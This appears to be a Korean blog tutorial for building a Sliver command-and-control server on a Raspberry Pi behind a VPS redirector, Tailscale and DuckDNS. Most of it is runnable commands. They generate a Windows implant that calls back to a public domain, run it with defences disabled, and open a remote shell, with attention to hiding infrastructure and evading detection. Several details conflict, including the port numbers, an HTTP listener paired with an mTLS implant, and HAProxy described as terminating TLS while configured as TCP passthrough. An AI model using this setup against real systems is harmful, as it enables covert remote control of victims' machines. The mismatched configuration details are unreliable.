# Raspberry Pi 기반 저비용 C2 인프라: 한 저녁 만에 끝내는 단계별 설정
사이버 보안 연구를 위한 명령 및 제어(C2) 인프라 구축은 종종 고가의 상용 솔루션과 연관되어 있습니다. 이 가이드는 오픈 소스 소프트웨어를 사용해 Raspberry Pi 4에서 완전한 기능을 갖춘 C2 시스템을 구현하는 과정을 안내합니다. 비용을 최소화하면서 필수 기능(암호화된 트래픽, 동적 DNS, 탐지 방지)을 유지하는 데 중점을 둡니다. 이 자료는 윤리적 해킹 범위 내 교육 목적으로만 사용됩니다.
저비용 C2 시스템 구성
구축에 다음이 필요합니다:
- Raspberry Pi 4 (4 GB RAM) — 주요 임플란트 서버
- 32 GB SD 카드
- 공개 엔드포인트를 위한 2 GB RAM VPS (월 4 €부터)
- Tailscale — 컴포넌트 간 보안 터널링용
- Sliver v1.7.3 — Cobalt Strike의 오픈 소스 대안
- DuckDNS — 동적 DNS 서비스
시스템 아키텍처는 다음과 같은 흐름을 따릅니다: 임플란트 → duckdns.org:443 → VPS (HAProxy) → Tailscale → Raspberry Pi (Sliver:31337). 이 설정은 Pi의 실제 IP를 공용 도메인 뒤에 숨기고 모든 홉에서 트래픽을 암호화합니다.
Tailscale로 보안 터널 설정
Raspberry Pi와 VPS 모두에 Tailscale을 동일하게 설치합니다. 터미널에서 실행:
curl -fsSL https://tailscale.com/install.sh | sh
sudo tailscale up
브라우저 기반 인증 후 시스템이 각 노드에 고유 Tailscale IP를 할당합니다 (예: Pi: 100.92.XX.XXX, VPS: 100.106.XXX.XX). 노드 간 연결 테스트:
ping 100.92.XXX.XXX
핵심: 컴포넌트 간 트래픽은 엔드투엔드 암호화되어 중간 노드에서의 가로채기를 방지합니다. Tailscale은 IP 변경 시 라우트 업데이트를 자동 처리해 연결 안정성을 보장합니다.
Raspberry Pi에 Sliver 배포
ARM64용 Sliver 바이너리 다운로드:
cd /tmp
wget https://github.com/BishopFox/sliver/releases/download/v1.7.3/sliver-server_linux_arm64
sudo install -m 755 sliver-server_linux_arm64 /usr/local/bin/sliver-server
어떤 인터페이스에서도 연결 허용하며 데몬으로 서버 실행:
sliver-server daemon --lhost 0.0.0.0 --lport 31338
임플란트 리스너는 31337 포트에서 실행됩니다. 관리용 Sliver 콘솔: sliver-server console. Raspberry Pi 방화벽에서 31337 포트가 열려 있는지 확인하세요.
VPS에서 HAProxy 설정
가상 서버에 HAProxy 설치:
sudo apt install -y haproxy
설정 파일 /etc/haproxy/haproxy.cfg 편집:
global
log /dev/log local0
maxconn 10000
defaults
mode tcp
timeout connect 5s
timeout client 60s
timeout server 60s
frontend sliver_frontend
bind :443
default_backend sliver_backend
backend sliver_backend
server pi4 100.92.XXX.XXX:31337 check
서비스 재시작:
sudo systemctl enable haproxy
sudo systemctl start haproxy
HAProxy는 TLS 종료기로 작동하며 443 포트에서 들어온 트래픽을 Tailscale을 통해 내부 Raspberry Pi 주소로 전달합니다. 작동 확인: openssl s_client -connect your-domain.duckdns.org:443.
동적 DNS 통합
DuckDNS에서 도메인 등록 후 VPS 공용 IP로 연결합니다. IP 자동 업데이트를 위해 cron에 업데이트 스크립트 추가. 도메인 해석 확인:
dig your-domain.duckdns.org
VPS 외부 IP 변경 시 연결 안정성을 위해 이 단계가 필수입니다. DuckDNS는 도메인이 항상 현재 서버 주소로 해석되도록 합니다.
임플란트 생성 및 테스트
Sliver 콘솔에서 HTTP 리스너 생성:
http --domain your-domain.duckdns.org --lhost 0.0.0.0 --lport 31337
mTLS 인증이 포함된 Windows 임플란트 생성:
generate --mtls your-domain.duckdns.org:443 --format exe --os windows --save /tmp/sliver.exe
파일을 테스트 Windows 10 시스템으로 전송 (데모 목적으로 방어 기능 비활성화). 임플란트 실행 후 Sliver 콘솔에 세션이 나타납니다:
[*] Session c5360843 UNIFORM_DISGUST - 100.106.xxx.xx:48190 (win10) - windows/amd64
세션 연결:
sessions -i c5360843
shell
테스트로 연결 복원력이 확인됩니다: 세션은 임플란트 재시작이나 네트워크 변경에도 유지됩니다.
최적화 및 운영
더 나은 안정성을 위해 다음을 권장합니다:
- systemd를 통해 Sliver 자동 시작 설정
- HAProxy 로그 모니터링 추가
- 리스너별 별도 도메인 사용
- Let's Encrypt 인증서 정기 갱신
일상 관리 주요 명령어:
# Sliver 시작
sliver-server daemon --lhost 0.0.0.0 --lport 31338
# 활성 세션 확인
sessions
# 대화형 쉘 진입
sessions -i <ID>
shell
시스템은 Tailscale 모바일 앱을 통해 임플란트 관리를 지원해 세계 어디서나 접근 가능합니다.
주요 요점
- 이중 암호화 아키텍처(TLS + Tailscale)로 트래픽 탐지 위험 최소화
- 월 비용은 VPS(4 €부터)로 제한; 나머지 소프트웨어는 모두 오픈 소스
- Raspberry Pi 4는 50개 동시 세션을 여유롭게 처리
- DuckDNS 통합으로 동적 IP 문제 무료 해결
- 기본 네트워킹 지식으로 Sliver가 상용 도구 완벽 대체
— Editorial Team
아직 댓글이 없습니다.